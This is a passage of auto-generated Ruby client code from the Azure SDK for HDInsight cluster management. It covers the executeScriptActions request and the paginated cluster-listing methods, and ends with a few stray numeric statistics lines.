JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.HDInsight/clusters/{clusterName}/executeScriptActions' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'clusterName' => cluster_name}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:post, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 202 || status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? result end promise.execute end # # Lists the HDInsight clusters in a resource group. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [ClusterListResult] operation results. # def list_by_resource_group_next(next_page_link, custom_headers:nil) response = list_by_resource_group_next_async(next_page_link, custom_headers:custom_headers).value! response.body unless response.nil? end # # Lists the HDInsight clusters in a resource group. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_by_resource_group_next_with_http_info(next_page_link, custom_headers:nil) list_by_resource_group_next_async(next_page_link, custom_headers:custom_headers).value! end # # Lists the HDInsight clusters in a resource group. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_by_resource_group_next_async(next_page_link, custom_headers:nil) fail ArgumentError, 'next_page_link is nil' if next_page_link.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = '{nextLink}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], skip_encoding_path_params: {'nextLink' => next_page_link}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::ClusterListResult.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Lists all the HDInsight clusters under the subscription. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [ClusterListResult] operation results. # def list_next(next_page_link, custom_headers:nil) response = list_next_async(next_page_link, custom_headers:custom_headers).value! response.body unless response.nil? end # # Lists all the HDInsight clusters under the subscription. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_next_with_http_info(next_page_link, custom_headers:nil) list_next_async(next_page_link, custom_headers:custom_headers).value! end # # Lists all the HDInsight clusters under the subscription. # # @param next_page_link [String] The NextLink from the previous successful call # to List operation. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_next_async(next_page_link, custom_headers:nil) fail ArgumentError, 'next_page_link is nil' if next_page_link.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = '{nextLink}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], skip_encoding_path_params: {'nextLink' => next_page_link}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Hdinsight::Mgmt::V2018_06_01_preview::Models::ClusterListResult.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Lists the HDInsight clusters in a resource group. # # @param resource_group_name [String] The name of the resource group. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [ClusterListResult] which provide lazy access to pages of the # response. # def list_by_resource_group_as_lazy(resource_group_name, custom_headers:nil) response = list_by_resource_group_async(resource_group_name, custom_headers:custom_headers).value! unless response.nil? page = response.body page.next_method = Proc.new do |next_page_link| list_by_resource_group_next_async(next_page_link, custom_headers:custom_headers) end page end end # # Lists all the HDInsight clusters under the subscription. # # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [ClusterListResult] which provide lazy access to pages of the # response. # def list_as_lazy(custom_headers:nil) response = list_async(custom_headers:custom_headers).value! unless response.nil? page = response.body page.next_method = Proc.new do |next_page_link| list_next_async(next_page_link, custom_headers:custom_headers) end page end end end end
44.670024
169
0.709269